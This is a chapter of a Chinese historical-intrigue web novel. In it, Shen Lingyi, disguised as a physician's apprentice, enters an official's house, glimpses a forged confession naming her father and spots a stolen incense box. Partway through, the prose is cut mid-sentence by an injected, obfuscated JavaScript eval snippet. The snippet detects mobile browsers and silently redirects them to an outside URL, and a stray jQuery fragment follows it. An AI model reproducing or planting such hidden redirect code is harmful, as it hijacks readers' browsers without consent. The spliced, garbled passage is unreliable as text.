魏府的门,比沈令仪想象中还要窄。
不是宅子窄。
楚州盐监魏百龄的宅子占了半条东柳巷,高墙深门,青砖铺地,门前两只石狮被雨雪洗得发黑。可那扇正门只开了一半,门缝里站着两名盐丁,腰间挂刀,眼神阴冷,像守的不是一处官宅,而是一座不许人窥见的盐井。
秦照微到门前时,连头也没抬。
“东槐巷秦照微,魏府请医。”
门房显然认得她,目光扫过她身后的沈令仪。
“新药童?”
秦照微淡淡道:“旧的病了。”
门房皱眉:“抬头。”
沈令仪低着头,慢慢抬起一点。
她穿着灰布短袄,发髻压得很低,脸上抹了药灰,眉眼被刻意弄得黯淡。右手缠着厚厚白布,垂在身侧,像一个受了伤又怯生生的药童。
门房盯着她看了片刻:“手怎么了?”
沈令仪低声道:“切药伤了。”
声音压得有些哑,像受了风寒。
门房又看她右手,伸手就要去摸。
沈令仪肩头轻轻一缩,像是怕疼。
秦照微冷声道:“你若要拆,拆了还得我重新包。魏府若不急,我现在就回去。”
门房脸色一僵。
里头很快有人催:“秦大夫怎么还没进来?里头烧得厉害!”
门房这才收手,让开路。
“进去吧。别乱看。”
沈令仪垂下眼。
她跟在秦照微身后,踏进魏府。
魏府内宅有一种很特别的气味。
不是香,不是药,也不是盐,而是一种混杂的潮气。青砖潮,木梁潮,墙根潮,连走廊里的灯笼都像被水浸过。沈令仪听父亲说过,盐官多爱在宅中置水池、养奇石,以示清雅。可盐气侵骨,再清雅的院子也会慢慢生出一层黏腻的白霜。
廊柱下,果然有细细盐霜。
她低头走着,却将每一道门、每一重院、每一处守卫都记在心里。
正门两人。
二门一人。
西侧抄手游廊尽头有小门,门闩新换。
东院有马厩,马厩旁两名粗使婆子,手上有茧,像练过刀。
再往里,是女眷院。
魏府请秦照微看的“病人”,就在最偏的一间耳房。
门一开,热气混着药馊味扑面而来。
床上躺着一个女孩。
沈令仪的脚步忽然顿住。
那女孩约莫十二三岁,头发乱着,脸烧得通红,嘴唇干裂,身上盖着一床厚被。她侧脸有些肿,颈边露出几道青紫痕迹。乍一看,确实与令姝年纪相仿。
阿令。
沈令仪在心里叫住自己。
你现在是阿令。
不是沈令仪。
不能乱。
秦照微已经走到床边,伸手探脉。
魏府的管事婆子站在旁边,脸上有些不耐烦:“秦大夫,快看看。她烧了一夜,胡话不断,吵得夫人睡不好。”
秦照微问:“什么时候带回来的?”
婆子眼神一闪:“你只管看病,问这些做什么?”
“病从何起,我不问怎么治?”秦照微掀开女孩眼皮,又看舌苔,“外伤,受寒,惊惧,高热。若再拖一日,烧坏脑子,谁负责?”
婆子被堵住,冷哼道:“前日夜里。”
前日夜里。
沈令仪心口一紧。
时间对得上。
她借着整理药箱的动作,悄悄看向女孩右手。
令姝右手虎口处有一道细小旧疤,是小时候剪纸划伤的。
床上这个女孩没有。
不是令姝。
一瞬间,巨大的失落与庆幸同时压下来。
不是令姝。
所以令姝仍不知所踪。
不是令姝。
所以她不必现在就崩溃。
秦照微像是察觉到她的呼吸变化,头也不回地道:“阿令,取银针。”
沈令仪垂眼:“是。”
她将银针递过去。
女孩烧得昏沉,口中断断续续喊着:“别打……我不去……阿娘……”
秦照微落针时,问婆子:“她是谁?”
婆子没好气道:“逃灶户家的丫头,欠税抵来的。谁知身子这么弱,刚进府就病。”
“抵税有籍册吗?”
婆子冷冷看她:“秦大夫,你今日话多了。”
秦照微不再问。
治病约用了半个时辰。
秦照微开方时,屋外忽然传来一阵急促脚步声。一个小厮匆匆进来,在婆子耳边说了什么。婆子脸色一变,立刻道:“秦大夫先在此等着,府上还有人伤了手,要你一并看看。”
秦照微皱眉:“谁?”
“账房先生。”
沈令仪低着头,指尖一顿。
账房先生?
秦照微看了她一眼,淡淡道:“带路。”
婆子把病中女孩交给一个丫鬟看着,自己领着秦照微和沈令仪往外走。
她们没有回前院,而是穿过一条窄廊,往西侧小门去。方才沈令仪入府时就注意到,那道小门门闩新换,旁边守卫比别处谨慎。此刻一靠近,便听见里头传来低低咳声。
门开。
里面是一间临时书房。
不是正经书房,更像堆放文书的偏屋。靠墙摆着几只书箱,地上有散落的纸,案上灯火未灭。一个中年男人坐在案边,左手裹着布,血已渗出来。
男人抬头。
沈令仪看见他左眼下有一颗痣。
青衣账客。
陆沉舟说过,断指灰衣人进入西市万丰货栈后,接应他的是一个青衣账客,四十上下,左眼下有痣。
沈令仪垂下眼,心跳却陡然沉重起来。
香匣线,竟然绕到了魏府。
中年男人看见秦照微,神色有些不悦。
“怎么还带了人?”
秦照微道:“我只有两只手。你若不愿,我走。”
管事婆子忙道:“梁先生,秦大夫嘴硬,手上本事是好的。您先让她看看。”
梁先生?
沈令仪心中微动。
乌娘说,盐场有个老书吏,姓梁,独眼,欠沈家义仓一条命。每月十五去三清观烧纸。
眼前这人有眼,并非独眼,却也姓梁。
是巧合,还是魏府另一个梁姓账客?
秦照微替他拆开布。
伤口在掌心,不深,像被纸页边缘或薄刃划过。秦照微看了一眼,便道:“小伤。”
梁先生冷冷道:“小伤也会坏事。”
“那就别做会伤手的事。”
屋里气氛一僵。
管事婆子立刻道:“秦大夫!”
秦照微低头上药,不再说话。
沈令仪跪在药箱旁,负责递布。她的位置低,正好能看见案下散落的一张纸角。纸上隐约有几个字:
沈确,畏罪……
她心口猛地一缩。
供词。
不,可能是供词副本。
她强迫自己稳住呼吸,将一卷干净白布递给秦照微。
梁先生抬了抬手,案上几页纸被风吹动。管事婆子忙上前压住,可仍有一张半折的文书滑落,飘到沈令仪膝边。
她没有立刻捡。
等婆子弯腰前,她先一步低头拾起,双手奉上,眼睛只扫了一瞬。
那一瞬足够了。
文书上写着:
“江宁沈氏沈确,私通北庭,盗运军粮十五万石,匿税银六万五千八百两……”
六万五千八百两。
第一库失踪银。
它竟然被写进了父亲供词里。
沈令仪指尖几乎发麻。
父亲明明不可能认这笔银。若这份供词成立,就等于沈家承认私藏、转移、预备举事。那笔被人提前分走的银,反而成了沈家的罪证。
梁先生一把接过文书,冷眼看向她。
“你识字?”
沈令仪立刻低下头,声音发抖:“不识。奴婢只是见纸掉了。”
“奴婢?”梁先生眯眼,“秦大夫的药童,什么时候自称奴婢?”
沈令仪心中一凛。
她犯错了。
沈家旧习里,阿蘅自称奴婢。医棚药童不该这么称呼。
秦照微忽然将药粉撒在梁先生伤口上。
梁先生痛得一抽:“你做什么?”
“止血。”秦照微冷冷道,“梁先生若不想这只手烂了,便少管我的药童怎么说话。她是我从牙婆手里买来的,原先在高门里伺候过,嘴上旧习改不过来。”
梁先生脸色阴沉。
秦照微慢慢缠好布:“每日换药。三日内别碰水,别碰墨,别碰脏纸。”
最后两个字,她咬得极轻。
梁先生看她一眼,似乎想发怒,最终忍住。
“送客。”
沈令仪低头收拾药箱。
就在她合上药箱时,目光扫到案侧一只木匣。
檀木。
旧角有磕痕。
匣盖上刻着一枝小梅。
香匣。
它就在魏府书房。
她的呼吸几乎停住。
那一刻,她几乎要伸手去夺。
可她不能。
屋中有梁先生,有婆子,门外有盐丁。香匣在案侧,离她不过五步,却像隔着整座旧朝。
秦照微已经起身:“走。”
沈令仪垂下眼,跟着她出了门。
直到离开那道西侧小门,秦照微才低声道:“你刚才差点露了。”
沈令仪声音发哑:“香匣在里面。”
秦照微脚步微不可察地顿了一下。
“确定?”
“确定。”
“供词?”
“也在里面。”
两人没有再说。
回到病女孩的耳房,秦照微又交代了几句用药。离开魏府前,管事婆子让门房检查药箱。门房翻了几下,没发现异常,只嫌药味冲鼻,挥手放行。
出魏府大门时,沈令仪后背已经被冷汗湿透。
她的右手伤口处传来一阵阵疼痛,半本密账藏在包扎夹层里,仍在腕侧贴着她的脉搏。
还在。
她活着出来了。
出了东柳巷,秦照微没有立刻回医棚,而是拐进一条无人小巷。
“你看到了什么?”
沈令仪靠着墙,闭了闭眼,迅速道:“供词副本。父亲供词里写了六万五千八百两。那是沈府第一库失踪银。若供词成了,这笔银就会变成沈家私藏逆资,而不是有人分走的赃款。”
秦照微皱眉:“你怎知那笔银是失踪银?”
“沈家账房记过。第一库原有银三百五十六箱,散锭一百二十锭。查抄清点时少了二十六箱,十六锭,合六万五千八百两。”
“你记得这么清?”
“这是沈案第一笔血账。”
秦照微看着她,没说话。
沈令仪继续道:“供词副本在魏府,说明魏百龄不是旁观者。香匣也在他那里,至少曾经在他那里。”
“那个梁先生?”
“左眼下有痣,正是陆沉舟说的青衣账客。他接过断指灰衣人。”
秦照微沉吟:“梁先生名梁守业,是魏百龄从扬州请来的账客。表面替魏府管盐场账,实际替盐铁司处理不入正册的银钱。”
“他和乌娘说的梁独眼有关系吗?”
“不确定。”秦照微道,“楚州盐场姓梁的书吏不少。但梁守业手中有供词副本,有香匣,他比魏府普通账客重要得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528635|203631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多。”
沈令仪睁开眼。
“我要拿到那份副本。”
秦照微道:“你疯了。刚才活着出来已经是侥幸。”
“副本若还在,他们就能伪造父亲认罪。拿不到,至少要知道它最终送去哪里。”
秦照微看了她片刻:“香匣呢?”
沈令仪的手指慢慢收紧。
“也要拿。”
“你现在拿不了。”
“我知道。”
这三个字几乎是从牙缝里挤出来的。
她太知道了。
香匣就在眼前,她却不能碰。
就像沈府雪夜里,令姝的手就在掌心,她却必须松开。
秦照微看着她苍白的脸,忽然放缓声音:“那个女孩不是你妹妹。”
“我看出来了。”
“你还撑得住?”
沈令仪没有立刻回答。
巷外传来车轮声,远处盐场烟气在天边铺开,整个楚州都像被一层灰白雾气罩住。
“撑不住也要撑。”她说,“至少今天,我们知道了三件事。”
“哪三件?”
“第一,魏府关着被抵税的女孩,不止一人,令姝仍可能在楚州某处。”
“第二,魏百龄与沈案供词有关,第一笔失踪银被写入父亲认罪文书。”
“第三,香匣在梁守业手中。另一半密账没有立刻送走,说明他们还没完全解开。”
秦照微道:“也可能已经解开,只是还没来得及处理。”
“若解开了,他们不会把香匣留在魏府。”沈令仪道,“会立刻送长安,或者毁掉。”
秦照微点头:“有理。”
沈令仪低声道:“所以我们还有时间。”
“很少。”
“有便够了。”
秦照微看她一眼:“你现在越来越像个赌徒。”
沈令仪道:“不赌,连上桌的机会都没有。”
两人回到医棚时,阿蘅立刻迎出来。她看见沈令仪脸色不对,声音都发颤:“沈娘子,见到二小姐了吗?”
沈令仪摇头。
阿蘅眼里的光暗了一瞬。
“不是她。”
阿蘅喃喃道:“不是也好,不是也好……”
她说着,眼泪却掉了下来。
不是令姝,说明令姝没在那里。
可也说明,她们仍不知道令姝在哪里。
沈令仪没有安慰她。
因为她自己也需要很大力气,才没有被这失落压倒。
秦照微关上门,将今日在魏府见到的事简单说了一遍。陆沉舟听完,脸色也沉了。
“香匣在魏府?”
“在梁守业书房。”
陆沉舟骂了一声:“我就知道那青衣账客不简单。万丰货栈那边我查到一点,梁守业昨夜见过一个从江宁来的内侍。”
沈令仪抬头:“内侍?”
“没看清名姓,只知道那人身边跟着两个会武的随从,走路不像普通宦官。货栈掌柜见了他,腿都软了。”
内侍。
内库。
韩守恩。
沈令仪脑中几条线猛地连在一起。
父亲半本密账上写过“龙脑一,归恩”。
恩,极可能是韩守恩。
若韩守恩的人也到了楚州,那香匣很快就会被送往长安。
时间更少了。
秦照微道:“今晚不能动。魏府刚请过医,正警惕。明日也不能动。后日是十五。”
沈令仪看向她。
秦照微继续道:“乌娘说的梁独眼,十五夜三清观烧纸。若他与梁守业有关,也许能从他那里探出盐场账路。比硬闯魏府稳。”
沈令仪沉默片刻。
“先找梁独眼。”
陆沉舟问:“香匣呢?”
“盯住魏府。”沈令仪道,“若香匣转移,立刻查去向。若不转移,说明他们还在等人。”
“等谁?”
沈令仪看向门外阴沉的天。
“等能解开香匣的人。”
夜色降下时,医棚里点起灯。
秦照微替沈令仪拆开右手外层布,确认半本密账仍在,没有被血浸湿,才重新包好。
阿蘅在旁边看得心惊。
“今日若被搜出来……”
“没有若。”沈令仪道。
她把供词上看到的字,用左手写在一张粗纸上。
字歪斜,不如从前端正,却一笔一划很用力:
**沈确供词副本。**
**六万五千八百两。**
**梁守业。**
**魏百龄。**
**香匣在魏府。**
写完,她把纸放到灯火上点燃。
阿蘅一惊:“烧了?”
“记在脑子里即可。”沈令仪看着火焰吞掉纸页,“纸会害人。”
火光映在她眼中,亮了一瞬,又沉下去。
她知道,从今日起,沈案不再只是冤案。
它是一场被层层转手的账。
江宁州府负责抄家,户部负责清点,盐铁司负责洗银,魏府负责转账,内库负责吞血,供词负责把一切写成沈确认罪。
每个人只做一小段。
每个人都可以说自己只是奉命、只是办事、只是记账、只是传话。
可合在一起,就是一条能吞掉沈家的巨蟒。
沈令仪抬起右手,轻轻按住腕侧。
半本密账还在。
供词副本已经出现。
香匣近在咫尺。
她闭上眼,在心中默默添上一笔:
父亲未认罪。
有人替他写了供词。
而她迟早要把那份供词撕开,让天下看见,所谓畏罪,不过是活人替死人按下的手印。